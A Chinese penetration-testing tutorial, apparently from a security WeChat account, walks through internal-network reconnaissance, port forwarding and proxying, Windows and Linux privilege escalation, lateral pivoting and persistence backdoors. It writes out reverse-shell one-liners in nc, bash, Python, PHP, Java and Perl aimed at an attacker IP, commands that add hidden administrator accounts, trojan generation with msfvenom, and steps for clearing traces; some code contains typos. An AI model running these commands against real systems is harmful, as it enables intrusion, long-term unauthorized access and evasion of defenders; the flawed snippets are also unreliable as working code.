godown Z2O安全攻防 2023-09-14 21:41 发表于云南
免责声明本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者及本公众号团队不为此承担任何责任。 文章正文外网进内网通常就是通过web漏洞拿取shell 内网的很大一部分信息收集是围绕网络拓扑图展开的。可以社工运维或者google找一下。 内网扩散信息收集概述 • 内网信息收集
• 内网网端信息:对内网进行拓扑、分区 • 内网大小
• 内网核心业务信息
• 其他
内网信息收集做的越好,打的越快 • 常用方法
1. 主动扫描。常用工具: nmap,netdiscover,nc,masscan,自写脚本等 2. 常用端口和服务探测 3. 内网拓扑架构分析。如dmz,测试网等 4. 命令收集 5. 本机信息
- nmap的流量很大。因为nmap用了很多方式进行扫描,准确率高的同时流量较大,外网可以用
- 主动扫描留下的痕迹很多且较难清楚。被动扫描需要的时间较长。视情况扫描
复制代码
一般都是先扫80端口等。因为外网网站可能做的很好,内网网站烂的爆,sql注入、xss等web漏洞一把一把的。 主动扫描1. ping命令扫描内网中的存活主机 * 优点:方便,一般不会引起流量检测设备的报警 * 缺点:扫描速度慢,目标开了防火墙会导致结果不准 2. nmap扫描存活主机(icmp扫描) * nmap -sn -PE -n -v -oN 1.txt 目标ip * 参数:-sn 不进行端口扫描;-PE 进行icmp echo扫描;-n 不进行反向解析;-v 输出调试信息;-oN输出 3. nmap 扫描存活主机(arp扫描) * nmap -sn -PR -n -v 目标IP * 参数:-PR代表arp扫描,在内网中arp扫描速度最快且准确率高 4. 使用netdiscover扫描(arp扫描工具,既可以主动扫描也可以被动嗅探) * netdiscover -i eth0 -r 目标IP *
* 参数说明:-i:指定一个接口;-r∶指定扫描范围
5. 用nbtscan工具进行快速扫描存活PC端,同时获得NETBIOS(windows往上输入输出服务,139端口) * nbtscan -r 目标IP * - 端口和服务扫描
1. 探测目标开放端口 - * nmap探测:`nmap -Pn -n 目标IP`(禁ping扫描)
- * masscan扫描:`masscan -p 端口号 目标IP地址 --rate=10000` #用10kpps速度扫描端口
- * ![](http://res.cloudinary.com/dlpjunxds/image/upload/liFDVtCRf91uL4Hy)
复制代码
1. 探测目标操作系统 - * 使用NSE脚本: `nmap --script smb-os-discovery.nse -p 445 目标IP地址`
- * 其中: smb-os-discovery.nse脚本通过smb来探测操作系统版本、计算机名、工作组名、域名等等信息。--script指定脚本
- * ![](http://res.cloudinary.com/dlpjunxds/image/upload/DQfnaY1lg46w70pG)
- * 使用nmap -O探测操作系统版本
复制代码
nmap -O 目标IP
模块使用
post/linux/gather/checkvm判断目标主机是否为虚拟机
post/linux/gather/enum_configs查看配置信息
post/linux/gather/enum_network查看网络
post/linux/gather/enum_protections查看共享
post/linux/gather/enum_system查看系统和用户信息
post/linux/gather/enum_users_histroy查看目标主机最近的操作
post/linux/gather/hashdump获取linux的hash
但是我仍要强调,被动收集很重要,内网被动收集要安全很多,但是周期很长。主动一分,就危险一分 收集内容总结网卡信息、arp缓存、路由缓存、网站配置文件、数据库、访问日志、浏览器历史记录、netstat、hosts文件、history、hash、明文密码、网站配置账密、wifi、cmdkey 内网转发• 内网转发的目的 [size=1em]理论上通过网络连接的计算机都是可以互相访问的,但是因为技术原因没有实现。如局域网中某计算机仅开放web服务,则只能内网使用,外网无法直接访问。要让外网用户直接访问局域网服务,必须进行内网转发等操作
[size=1em]windows端口转发实例
环境︰内网主机不能访问外网,但是可以访问同网段的内网机器,同时80端口只能本地访问,但是8080端口对外开放。
[size=1em]步骤一:被控服务器的80端口转发到本地的8080端口 lcx -tran 8080 127.0.0.1 80
步骤二∶在内网被控服务器上连接内网能够对外访问的服务器 lcx -slave 192.168.56.1 4444 192.168.56.101 8080
步骤三∶在能够对外访问的内网机器上监听端口 lcx -listen 4444 12345
步骤四∶外网机器访问192.168.56.1的12345端口也就是从 服务器12345- >服务器4444->外网8080->内网80
在外网192.168.64.230访问192.168.64.103:12345
linux下:用法: ./portmap -m method [-h1 host1] -p1 port1 [-h2 host2] -p2 port2 [-v] [-log filename]
v:version [size=1em]-m:指定method action参数
method=1:监听port1连接至主机2的port2(端口映射)
method=2:监听Port1转发至port2
method=3:连接主机1对应的端口和主机2对应的端口(端口转发)
如:./portmap -m 2 -p1 6666 -h2 公网ip -p2 7777//监听来自6666端口的请求并转发至7777 frpfrp用处 下载后frp文件内frps,frps.ini为服务端程序和配置文件,frpc,frpc.ini是客户端程序及配置文件 [size=1em]修改frp.ini
文件格式: [size=1em][common]
[size=1em]bind_port = 7000 #frp服务器监听㐰
[size=1em]dashboard_port = 7500 #web后台监听端口
[size=1em]dashboard_user =admin #web后台用户名及密码
[size=1em]dashboard_pwd = admin
[size=1em]token = 123456 #客户端和服务器的连接口令
[size=1em]运行frps服务器端 ./frps -c frps.ini #-c意思是加载配置文件
访问x.x.x.x:7500,使用自己设置的用户名和密码登录
[size=1em]修改frpc.ini文件
[size=1em][common]
[size=1em]server_addr = 192.168.152.217
[size=1em]#服务端IP地址
[size=1em]server_port = 7000
[size=1em]#服务器端口
[size=1em]token = 123456
[size=1em]#服务器上设置的连接口令
[size=1em][http]
[size=1em]#自定义规则,[xxx]表示规则名
[size=1em]type = tcp
[size=1em]#type:转发的协议类型
[size=1em]local_ip = 127.0.0.1
[size=1em]local_port = 3389
[size=1em]#本地应用的端口号
[size=1em]remote_port = 7001
[size=1em]#这条规则在服务端开放的端口号
[size=1em]配置完成frp.ini后,cmd运行frpc(和服务端一样-c指定配置文件)
在局域网外客户端连接服务端的remote_port端口
该工具可跨平台,也就是windows exe程序连接linux
上述操作也就 相当于listen 7000转到7001 然后连接 metasploit portfwd[size=1em]选项
-L∶要监听的本地主机(可选).
-l : 要监听的本地端口,与此端口的连接将被转发到远程系统·
-p∶要连接的远程端口,TCP连接将转发到的端口
-r∶要连接的远程主机的IP地址
参数
Add :该参数用于 创建 转发
portfwd add -I 本地监听端口号 -p 目标端口号 -r 目标机IP地址
Delete :这将从转发端口列表中删除 先前的 条目.
portfwd delete -I 本地监听端口号 -p 目标端口号 -r 目标机IP地址
List : 列出 当前转发的所有端口
portfwd list
Flush :这将删除转发列表中的 所有 端口
这个不太稳定,不如frp,lcx不怎么用了。 边界代理代理类别:HTTP代理、socks代理、telnet代理、ssl代理
代理工具:EarthWorm、reGeorg(http代理)、proxifier(win)、sockscap64(win)、proxychains(linux) 内网通过代理连接外部网络为正向代理,外网通过代理连接内网为反向代理。
负载均衡服务器:将用户的请求分发到空闲服务器上。 代理端口转发
需要socks协议支持无需协议支持
一对多,访问网络一对一,帮助他人访问某端口socks代理可以理解为lcx端口转发,他在服务端监听一个服务端口,有连接请求时会从socks协议中解析出访问目标url的目标端口 意思就是,有代理就不需要他娘的端口转发了,还指定端口转来转去脑子都转晕了,代理不需要那么多花里胡哨的。 proxychainsregeorg工具• regeorg主要是把内网服务器端口通过http/https隧道转发至本机,形成回路 • 用于目标服务器在 内网或做了端口策略 的情况下连接目标服务器内部开放端口 • 利用webshell建立一个socks代理进行内网穿透,则服务器必须支持aspx\php\jsp中的一种 • regeorg分为服务端和客户端。 服务端有php\aspx\jsp\node.js等多种,客户端为python ,所以用的时候文件里面找对应脚本
regeorg使用和proxychains结合使用 1. pip install安装 2. 假设服务器是php版本,将regeorg里的php上传到服务器,直接访问显示"georg says,'all seems fine'",为正常运行
3. 终端下运行:python reGeorgSocksProxy.py -u 靶机reGeorg脚本地址 -p 本地监听端口 4. 再起一个终端修改proxychains.conf配置文件,删除dynamic_chain的注释,在ProxyList最后加一行socks5 127.0.0.1 本地监听端口,并把其他的注释
代理就配置好了 但是在msf外配置的代理,msf内部流量是不会走代理过的 msf route[color=rgba(0, 0, 0, 0.9)]msf框架中自带路由转发功能,在已经获取meterpreter shell的基础上添加一条去往内网的路由
[color=rgba(0, 0, 0, 0.9)] 路由添加: run autoroute -s 内网网端
run autoroute -p 查看路由添加情况 proxifilerproxifiler为windows客户端代理工具, socks5客户端 ,可以让不支持通过代理服务器工作的程序通过https或socks5代理或代理链 (但是个人在用shadowsocks...dddd) 提权可以有好几种,本篇主要讲利用系统漏洞提权(最常规)和利用数据库提权。数据库这种利用第三方提权的方式通常比较少见 windows权限提升当我们getshell一个网站后,大部分情况下我们的权限是非常低的,这个时候提权可以让我们如拥有修改文件之类的强大能力。 一般来说,提权通常是改变用户 [size=1em]windows: user -> system user->administrator
linux: user->root
• 提权的方式通常有: • 系统漏洞提权 • 数据库提权 • 第三方软件/服务提权 • 系统配置错误提权
如果目的是download服务器文件或者拿下webshell等没必要提权,如果是为了做肉鸡或者上远控 系统漏洞提权常规流程: 获得目标机shell- >查看目标机补丁记录->判断没打的补丁,寻找EXP->利用exp提权 1. cmd中systeminfo查看补丁安装情况 3. 将systeminfo命令得到的补丁信息复制进去,就会给出可用的exp编号 5. 将exp上传至目标机 6. 每个EXP的使用方法不同。如ms14-058上传了exp到靶机后在cmd使用exp.exe "命令"就能以system权限执行命令。其他exp的使用方法很可能不同 7. 获得了高权限在当前网络环境切忌开3389去连,可以用msfvenom生成木马维权,或者创建新用户加入管理员组。不过都会被发现。。 8. 靶机上在运行msf木马时要用高权限运行,否则反弹回来的shell也是低权限。所以要用之前传上去的exp运行msf木马
windows数据库提权这种提权方式已经用的很少了 mysql数据库提权mysql提权的必要条件:获取Mysql数据库最高权限 root 的账号密码 [size=1em]获取方法:
mysql的三种提权方式: MOF提权• 原理:利用了c:/windows/system32/wbem/mof/目录下的 nullevt.mof 文件。该文件每几秒会 执行 一次,向其中写入 cmd命令 使其被执行 • 利用条件 • windows<= 2003 • 对c:/windows/system32/wbem/mof/目录有读写权限 • 可以时间写mof文件到相应目录,如:数据库允许外联,有webshell,有可写sql注入
因为需要有写文件权限(into outfile),所以可用到的环境很少 [color=rgba(0, 0, 0, 0.9)] [size=1em]nullevt.mof文件的内容
[size=1em] - UDF提权
[size=1em]mysql版本对应的udf.dll导出路径: 数据库版本操作系统udf.dll导出路径
<5.0所有操作系统路径随意
<=5.1windows2003c:\windows\system32\udf.dll
<=5.1windows2000c:\winnt\system32\udf.dll[size=1em]5.1 | 所有操作系统 | mysql 安装目录下的lib\plugin\udf.dll
[size=1em]mysql安装目录查询语句: select @@basedir
• udf 提权步骤 • select user();\version();\basedir()判断数据库版本、用户和安装目录 • 如果\lib\plugin目录不存在,可以利用NTFS ADS流创建文件夹
select 'xxx' into dumpfile 'mysql目录\\lib INDEX_ALLOCATION';
select 'xxx' into dumpfile 'mysql目录\\lib\plugin INDEX_ALLOCATION';
或者是webshell直接创建 • 导入udf.dll文件。该文件在sqlmap/data/udf/mysql/目录下有,只是该dll文件是通过异或编码的,可以使用sqlmap/extra/cloak.py解密。 • 上传udf.dll到指定目录。有webshell就直接传,传不了就select load_file()。 • 创建自定义函数。create function **sys_eval** returns string soname 'udf.dll';
必须要创建.dll文件中存在的函数才行,可以用十六进制编辑器打开udf.dll文件慢慢找函数,也可以用dumpbin.exe查看。soname指向动态链接库 • 执行高权限指令:select sys_eval('whoami');
将该用户提升为管理员权限:select sys_eval("net localgroup administrators ichunqiu /add") • 清除痕迹
drop function sys_eval;
delete from mysql.func where name="sys_eval";
启动项提权vbs提权脚本: - set wsnetwork=CreateObject("WSCRIPT.NETWORK")
- os="WinNT://"&wsnetwork.ComputerName
- Set ob=GetObject(os) #得到adsi接口
- Set oe=GetObject(os&"/Administrators,group") #用户组
- Set od=ob.Create("user","name") #name为用户名
- od.SetPassword "passwd" #passwd为密码
- od.SetInfo #保存
- Set of=GetObject(os&"/name",user) #得到用户
- oe.add os&"/name"
复制代码
• sql命令创建 • 连接到对方MySQL服务器,进入后查看数据库中有哪些数据表 • 命令:show tables • 默认的情况下,test中没有任何表的存在。 • 进入test数据库,并创建一个新的表:
create table a(cmd text)//创建了一个新的表,名为a,表中只存放了一个字段,字段名为cmd,为text文本 • 在表中插入内容,用这三条命令来建立一个VBS的脚本程序:
insert into a values("set wshshell=createobject(""wscript.shell"")");
insert into a values("a=wshshell.run(""cmd.exe /c net user name passwd /add"",0)");
insert into a values("b=wshshell.run(""cmd.exe /c net localgroup administrators name /add"",0)"); sql server提权在windows,sa账号通常是被降权为db-owner的。而不是sysadmin xp_cmdshell提权• xp_cmdshell: • 存储过程:是存储在SQLServer中预先定义好的"sql语言集合",使用T-SQL语言编写好的脚本共同组成的集合体为存储过程 • xp_cmdshell脚本:扩展存储过程的脚本,是危险性最高的脚本,可以执行操作系统的任何指令 • xp_cmdshell在mssql2000中是默认开启的,在mssql2005后的版本中默认禁止。如果用户具有sa权限可以用sp_configure重新开启
xp_cmdshell提权过程:
(2005以前的版本): 1. 连接数据库:
select ame from master.dbo.sysdatabases获取所有的数据库名 2. 查看当前版本select @@version
判断当前是否为saselect is_srvrolemember('sysadmin')
判断是否有public权限select is_srvrolemember('public')
判断是否有读写文件权限select is_srvrolemember('db_owner') 3. 查看数据库中是否有xp_cmdshell扩展存储插件,return 1则有
select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell';
(2005后的版本): - reconfigure;
- exec sp_configure 'xp_cmshell',1;//打开xp_cmdshell扩展
- reconfigure;
-
-
- 2. xp_cmdshell执行命令
-
- ```exec master..xp_cmdshell 'net user name passwd /add'//添加用户name,密码passwd
- exec master..xp_cmdshell 'net localgroup administrators name /add'//添加name到管理员组
- ### windows bypass uac
- uac(user acount control)可以阻止未授权的应用程序自动安装,并防止无意中更改系统设置
- > uac的三种设置要求:
- >
- > 1. 始终通知
- > 2. 仅在系统试图更改我的计算机时通知(Uac默认设置,第三方使用高级别权限时会提示本地用户)
- > 3. 从不提示(用户为系统管理员时所有程序都会以最高权限运行)
- >
- 相当于普通用户打开cmd和以管理员运行cmd的差别,普通用户以管理员身份开cmd就会受到uac的限制,输入管理员密码
- #### msf bypass uac
- 前提:已经获得了目标机器的meterpreter shell,当前权限为普通用户
- * bypassuac模块通过进程注入,利用受信任的发布者证书绕过windows UAC,它将为我们生成另一个关闭UAC的shell
- * bypassuac_injection模块直接运行在内存的反射DLL中,不会接触目标机的硬盘,从而降低了被杀毒软件检测出来的概率
- * bypassuac_eventwr模块通过在当前用户配置单元下劫持注册表中的特殊键,在启动Windows fodhelper.exe应用程序时调用的自定义命令来绕过Windows 10 UAC
- msf exploit:>`use exploit/windows/local/bypassuac`
- 然后根据msf exp对reverse_tcp(bind_tcp)、lhost等进行参数设置
- #### 利用系统漏洞bypass uac
- CVE编号:CVE-2019-1388,windwos证书对话框特权提升漏洞。补丁号KB4524235 KB4525233
- * 漏洞原理:此漏洞是因为UAC机制设定不严导致的。默认wdnows会在一个单独的桌面secure desktop上显示所有UAC提示。这些提示是由consent.exe的可执行文件生成的,该文件以NT AUTHORITY\SYSTEM身份运行,并有system的完整权限
- > 如果在运行一个可执行文件时触发了UAC,在点击 展示证书发行者的详细信息 之后,证书里的Issued
- > by字段,这个字段对应的值就是OID。证书会解析OID的值,windows没有禁用OID处的超链接,就可以利用提权
- 要能连3389
- # Linux提权
- linux提权相对于windows的手法较单一,多了一个比较重要的suid提权。有很多时候提权并不是必须进行的步骤
- ## linux系统提权
- linux和内核提权跟windows一样,都要下载对应漏洞的脚本提权
- uname -a 获取操作系统内核版本和内核架构
- id 获取用户信息
- 1. 查找相关版本的内核漏洞
- 2. exp搜索链接:`https://www.exploit-db.com/` (type选local)
- 3. exp下载:`http://github.com/SecWiki/linux-kernel-exploits`
- (科学上网)
- 4. 上传exp并编译
- exp是.c文件,上传到服务器后需要用gcc编译。.cpp用g++
- 编译 `gcc pwn.c -o pwn` (exp下载文件里有对应的编译说明文档)
- 运行 `./pwn`
- 如果目标机没有gcc或者g++,自己没有权限也肯定不能安装。唯一的办法是在本地搭建一个和服务器内核版本相同的环境,在里面编译完成了再上传至靶机
- windows提权成功后在exp后接命令就是高权限运行,但是linux提权成功是返回一个shell。脚本执行后返回shell失败,可能是需要反弹shell
- #### 脏牛提权实例
- 1. id查看目标机用户权限
- 2. uname -a目标机的linxu kernel>=2.6.22进行脏牛提权
- 3. 寻找对应exp `<http://github/FireFart/dirtycow>
- 4. exp下载至目标机并编译 `gcc -pthread dirty.c -o dirty -lcrypt`
- 5. 完成后,销毁firefart密码文件即可恢复root
- `mv /tmp/passwd.bak /etc/passwd`
- 获取shell后将shell转换为完全交互式的TTY:`python -c 'import pty;pty.spawn("/bin/bash")'`
- ## suid提权
- 此处涉及权限划分的知识。在Linux中通过权限位rwx实现文件权限管理。d目录,-普通文件。r read;w write;x execute
- ![](http://res.cloudinary.com/dlpjunxds/image/upload/G6iyNR71rOeU4gja)
- 所有者-所属者-其他用户
- * suid作用于二进制可执行程序上,当执行程序时会临时切换身份为文件所有者身份为文件所有者身份。
- `chmod u+s FILE\chmod 4755 FILE` 添加SUID权限到二进制文件(在三位数据权限前,4代表添加到SUID位)
- `chmod u-s FILE\chmod 0xxx FILE` 删除suid
- ![](http://res.cloudinary.com/dlpjunxds/image/upload/Q32EjPFNA9xTqDJg)
- * 文件属主为s表示设置了suid.没有x权限用大写S,表示权限无效
- 简而言之,任何用户执行有suid的文件时,都会以第一个权限运行
- > 所以利用suid提权的一个小案例就是:
- > 创建一个1.c文件,代码如下:
- >
- >
- > #include<unistd.h>
- > void main(){
- > setuid(0); #root的uid=0,意味着执行后面的代码是root权限在执行
- > system("su - root);#将当前环境转为root
- > }
- >
- >
- > gcc 1.c -o 1编译
- > chmod u+s 1 添加suid
- > ./1 执行
- > su - root !=su root.su 只是切换了root身份,但shell环境依旧是普通用户,su - 用户和环境一起切换了。
- ## linux数据库提权
- 和windows一样的,udf提权
- * 环境要求:配置中secure_file_priv="",
- mysql具有root权限,具有sql语句执行权限,目录可读可写,selinux关闭
- 先获取低权限shell,提权过程:
- ![](http://res.cloudinary.com/dlpjunxds/image/upload/70VfRgXTLuhdNzkt)
- 1. 查看plugin目录路径 `show variables like '%plugin%';`
- `select unhex('udf十六进制') into dumpfile 'usr/lib64/mysql/plugin/1.so';`
- (plugin路径/1.so)
- 2. 声明函数 `create function sys_eval returns string soname '1.so';`
- 3. 执行高权限命令 `select sys_eval('whoami');`
- 4. 清除痕迹 `drop function sys_eval;`
- windows soname动态链接库指向udf.dll,linux指向.so文件,所以声明的函数也要是.so文件里的。
- 详情请见上篇windows提权
- # 反弹shell
- * 反弹shell使用场景:防火墙会阻止客户端主动连接服务器,但是服务器连接客户端通过防火墙时,可以穿透到达客户端
- ## nc
- netcat简称nc,被称为渗透测试中的瑞士军~~~~刀。
- 它可以用作端口监听、端口扫描、远程文件传输、远程shell等
- * 语法:`nc [-hlnruz][-g 网关][-G 指向器数目][-i 延迟秒数][-o 输出文件][-p 通信端口][-s 来源IP][-v 次数][-w 超时秒数][主机名称][通信端口...]`
- * 反向shell
- 假设在目标主机找到了RCE漏洞,可以在目标主机上用nc发出命令启动反向shell
- ![](http://res.cloudinary.com/dlpjunxds/image/upload/mMYK9vTbVLEtFHoa)
- 1. 在攻击机或vps上监听本地端口`nc -lvp 监听端口号`
- 2. 靶机命令,连接攻击机的监听端口`nc 攻击机ip 监听端口号 -e /bin/bash` #linux
- `nc 攻击机ip 监听端口号 -e c:\windows\system32\cmd.exe` #windows
- -e:将bash shell 发回主机
- 3. 正向shell
- 正向shell时在目标机使用nc将bash shell绑定到特定端口,攻击机nc连接到此端口
- ![](http://res.cloudinary.com/dlpjunxds/image/upload/VRKCqeXbLkQrMUBd)
- ### **bash反弹shell**
- 目标主机可能没有nc或不支持-e参数时,就需要以下方式反弹shell
- * 攻击机监听:`nc -lvvp 端口`
- * 目标主机:`bash -i >& /dev/tcp/攻击机ip/监听端口号 0>&1`
- > bash -i | 产生一个交互式shell
- > ---|---
- > & | 将&前后内容相结合重定向(>)至后者
- > /dev/tcp/ip/port | 对socket网络连接的抽象
- > 0>&1 | 将标准输入和标准输入内容相结合,然后重定向至标准输出内容。0标准输入、1标准输出、2错误输出
-
- ## 其他反弹shell方式
- ### python反弹shell
-
-
- import soket,subprocess,os;
- s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("攻击机IP",监听端口号));
- os.dup(s.fileno(),0);
- os.dup2(s.fileno(),1);
- os.dup2(s.fileno(),2);
- p=subprocess.call(["/bin/sh","-i"]);
-
- ### php反弹shell
-
-
- $sock=fsockopen("攻击机IP",监听端口);
- exec("/bin/sh -i <&3 >&3 2>&3");
-
- ### java反弹shell
-
-
- r = Runtime.getRuntime()
- p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/攻击机ip/监听端口;cat <&5 | while read line;do $line 2>&5>&5;done"] as String[])
- p.waitFor()
-
- ### perl 反弹shell
-
-
- use Socket;
- $i="攻击机IP地址";
- $p=监听端口号;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){
- (open(STDIN,">&S");
- open(STDOUT,">&S");
- open(STDERR,">&S");
- exec("/bin/sh -i");
- };
-
- perl和python绝大多数服务器都会装,所以很有用
- 以某次内网渗透为实例
- ## 横向渗透预备工作
- ![](http://res.cloudinary.com/dlpjunxds/image/upload/5G48vcCPYSFtjs7K)
- 假设是如上拓扑图。先无视防火墙,内网机器无法直接访问外网,必须要走边界机。
- ### 获得低权限shell
- * 在网站信息搜集看到是joomla模板
- * msf里search joomla **查看** 辅助模块auxiliar里的 **扫描脚本** :`auxiliary/scannner/http/joomla_version`
- * use脚本设置rhost参数,然后expolit运行可以看到网站版本。`expolit -j -z`挂后台
- * `searchsplopit joomla 版本` **寻找exp** ,最好是在exploit.db找,这里图个方便
- * 把脚本copy到msf的exploits/multi/php目录下,然后reload
- * use exp脚本,set rhost\rport参数和lhost\lport参数,set payload为reverse或者bind,exploit运行
- 目前获得了低权限shell,sessions进入shell
- ### 提权
- * `uname -a`查看系统信息
- * gcc --version看到有gcc,就找c语言的脚本。另起一个终端`nc --lvvp 端口`监听新端口
- * shell里`bash -i >& /dev/tcp/xx.xx.xx.xx/端口 0>&1`反弹shell
- * `searchspolit linux kernel 内核版本 --exclute="(PoC)|/dos/"`搜索本地提权脚本。除去Poc和dos,就剩本地脚本了。同理,也可以在expolit.db上找
- * 上传脚本,但是靶机的网站根目录不可写(很少见),写到/tmp目录
- * `gcc -o 输出文件名 脚本名`编译,`./文件名`运行。不行就换脚本,脚本里有使用方法,事先看一下
- 提不了就别提了,不是非要提权(试李妈半天都提不起,不知道这些exp谁写的)
- ### 一级代理
- * 靶机`python reGeorgSocksProxy.py -u http://IP -p 代理端口`建立代理转发服务器
- * ipconfig或者其他的看下网段,`run autoroute -s 网端`开启路由转发
- * `use auxiliary/scanner/discovery`、nmap、ping扫描等扫同网端存活主机
- * 扫描端口`use auxiliary/scanner/portscan/tcp`或者nmap扫,设置一下rhost和常用端口,运行
- * `vim /etc/proxychains.conf`配置代理,浏览器开代理访问内网网站(建议foxyProxy插件)
- 如果开了80端口,接下来就是搞内网的站,拿内网的webshell。注意蚁剑和burpsuit等工具也要配置代理
- **reGeorgSocksProxy指定的端口要和proxychains.conf文件里的端口一致**
- ,因为这波操作的意义就是把边界机当作跳板,regeorgsocksproxy.py在边界机起到代理服务器的作用,proxychains就是客户端
- 内网的站打下来了重复上述步骤到提权。
- ### 二层内网渗透(bind)
- * 生成msf木马`msfvenom -p windows/meterpreter/bind_tcp lport=xxx -f exe -o 文件名`,因为内网不能直接连外网的原因,reverse版木马无法使用,但是我们有代理可以连内网。上传
- * 同理,生成了木马本地就需要有msf进程监听。`use exploit/multi/handler`,然后`set payload windows/meterpreter/bind_tcp`,payload和msf木马所用payload一致,设置参数lport和rhost.(这里开监听是在边界服务器开,也就是之前msf的边界服务器终端,lport当然也是边界机的端口,相当于 ~~本机msf对靶机边界机~~ 的渗透变为了==靶机边界机对内网二层机==)
- * 在二层内网机提权运行msf木马拿到shell后,`run autoroute -s 另一内网网段`添加路由
- * 扫描,老样子,那几个扫描用啥都行,`run arp_scanner -r 网段`进行arp扫描
- 如果非要用reverse的连接方式呢,今天我皮痒,或者有防火墙只能出。
- 很简单,用到端口转发。如果将边界机监听reverse的端口转发到本地端口,二层内网机reverse到边界机的端口就相当于直接和本地通信
- lcx被检测概率太大,用 **frp**
- #### 二层内网渗透(frp工具reverse)
- 关于frp要分清楚客户端和服务端到底应该放在哪。具体可以看==frpc.ini==和==frps.ini==
- 比如某frpc.ini的内容
-
-
- [common]
- server_addr=172.16.12.2
- server_port=7100
- [ssh]
- type=tcp
- local_ip=127.0.0.1
- local_port=5000
- remote_port=5000
- 如上,客户端连接服务端的7000端口,是将本机的5000端口数据以tcp转发到172.16.12.2的5000端口。因为你开frp也需要端口的嘛。这样连接服务端的5000端口就相当于连接客户端的5000端口。
- 服务端只有两行,监听一下就行了
-
-
- [common]
- bind_port=7100
- 这里,我要强调本文的精华
- #### ==frp端口转发与内网穿透==
- ![](http://res.cloudinary.com/dlpjunxds/image/upload/pnfKvFHa9x5Wek4q)
- **还是这张图。对于外网kali访问内网机,有两种手法,一是把外网kali的端口转发至边界机的端口。这样数据发到边界机的该端口就相当于发到外网kali,而端口转发frps在边界机、frpc在外网kali。另一种方式是内网穿透,把内网流量直接穿透到外网使得内网机能上网,frps也在边界机,frpc在内网机。**
- 可以理解为都是端口转发, **访问frps所在主机就相当于访问frpc** ,所以 **frps一定要在中间的机器上**
- 。逻辑理不通建议反复读来回读读通读透。有很多文章啊就不介绍端口转发和内网穿透有什么区别,整半天都不知道frps放哪,虽然只学内网穿透就够外网打内网一招鲜了。
- 上传frp和ini文件,运行。重新msfvenome生成一个reverse木马,lhost指向边界机
- lport也是边界机要开的端口。(木马的lhost指的是需要连接的ip,不是指上传的ip)
- 上传木马到二层边界机运行,再在边界机shell里开监听(监听msf木马lport)
- ## 二层代理
- * msf开二层代理,在刚在监听的shell里`use auxiliary/server/socks5`,然后`run`运行
- * 对之前arp扫描的主机`use auxiliary/scanner/portscan/tcp`扫描端口,设置rhost参数,准备再往里打
- * 配置浏览器代理,选socks5,端口和socks5脚本show options的端口一致
- * 访问三层内网机的80端口,准备三层内网渗透(打80端口)
- 二层渗透就搞定了。如果三层内网要出网经过二层内网。用bind的话还好,用reverse就需要用两次代理转发
- 简单提一下 **三层内网**
- ,可以上传lcx再进行一次端口转发,把二层内网机的frp端口转发到边界机,或者走frp代理。这样都是frp端口就串起来了,再把三层内网机reverse到二层的端口等于二层转发的端口,相当于直接reverse出去
- 所以!多层代理就是把多层主机端口串起来!
- 什么?拿完shell,几台机子的shell来回切你嫌麻烦?可以直接用Termite工具
- # Termite
- Termite用于管理多层跳板,有admin和agent两个文件。
- * 在第一个节点上传agent的对应版本,运行`./agent_版本 -l 端口`
- * 在攻击机运行`admin的对应版本 -c 边界机ip -p 端口`,连接没问题就跳ok
- * admin的shell里`goto 1`进入第一个节点,`shell 端口`。然后起个终端开nc或者其他监听,监听该端口,弹回了第一个shell
- * 二层机器`agent对应版本 -c 上一层ip -p 上一层端口`。端口与前面开agent和admin的端口一致。
- 小站权限维持大部分还是靠webshell后门,其他的可以,但没必要。还有搞站最好别在晚上搞,晚上流量少,搞站日志记录和流量占比很大。因而写的好的木马流量控制做的很好,上传和下载速度都有控制
- # 权限维持
- 权限维持不一定是高权限。后门最好都要伪装,如启动,图标,名字。经过学习个人认为权限维持=隐藏后门
- ## windows后门
- 常见的后门:shift后门,启动项/计划任务,映像劫持,影子账户,远控
- 大多数情况下,后门是一个隐藏进程。
- * shift后门
- > windows按五下shift后,windows就运行了system32下的sethc.exe,启动粘滞键。
- >
- >>
- 将cmd.exe更名为sethc.exe并把原来的替换,之后连续按下5次shift后就会以system权限运行cmd.exe,之后只要利用cmd增加一个administator就可以登录
- 除此之外,连接上3389之后可以使用的功能不止shift,还有放大镜等可以替换。
- * 映像劫持
- 现在很难使用了,在高版本的windows版本中替换的文件受到了系统保护,所以要映像劫持。
- a.exe实际打开是b.exe,就是劫持
- > 映像劫持也称IFEO,是为一些在默认系统环境中运行时可能引发错误的程序执行提供特殊的环境设定。默认管理员有权读写
- >
- >> 映像劫持的制作过程
- >>
- >> 1. 在注册表中新建一个项
- > 注册表位置`HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows NT/CurrentVersion/Image
- > File Execution Options`
- >> 2. 程序中添加debugger键
- >> 3. 键值设置为恶意程序的路径
- >>
- * 计划任务后门
- 计划任务在win7及之前版本的操作系统中使用at命令,win8及之后使用schtasks命令
- > 创建计划任务基本命令: `schtask /create /t "chrom" /tr cmd.exe /sc minute /mo 1`
- > 上述命令的意思为创建一个计划任务名字为chrom,执行cmd.exe每分钟执行一次。执行后门就改指向文件和执行频率
- * 注册表自启动后门
- > 制作过程
- >
- >> 1.
- 打开注册表`HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run`
- >> 2. 添加键值REG_SZ
- >> 3. 数据中填运行程序路径
- >>
- * 影子账户(杀毒能杀)
- 顾名思义隐藏账户,只能通过注册表查看该用户。影子账户可以获得管理员权限且不易被发现
- > 制作过程
- >
- >> 1. 创建隐藏账户
- > 创建隐藏账户只需在账户名后加\$符号,如`net user test$ 123 /add`
- >> 2. 修改并导出注册表
- >>
- >>
- >>> *
- 注册表位置`HKEY_LOCAL_MACHINE/SAM/SAM/Domains/Account/Users/`,如进入SAM无法看到子选项,需要给administrators完全控制权限
- >>> * 将administrator用户的F值复制到test\$对应F值,保存
- >>> * 将test\$和users右键导出
- >>>
- >>
- >> 1. 删除创建的隐藏用户
- > cmd删除test\godown Z2O安全攻防 2023-09-14 21:41 发表于云南
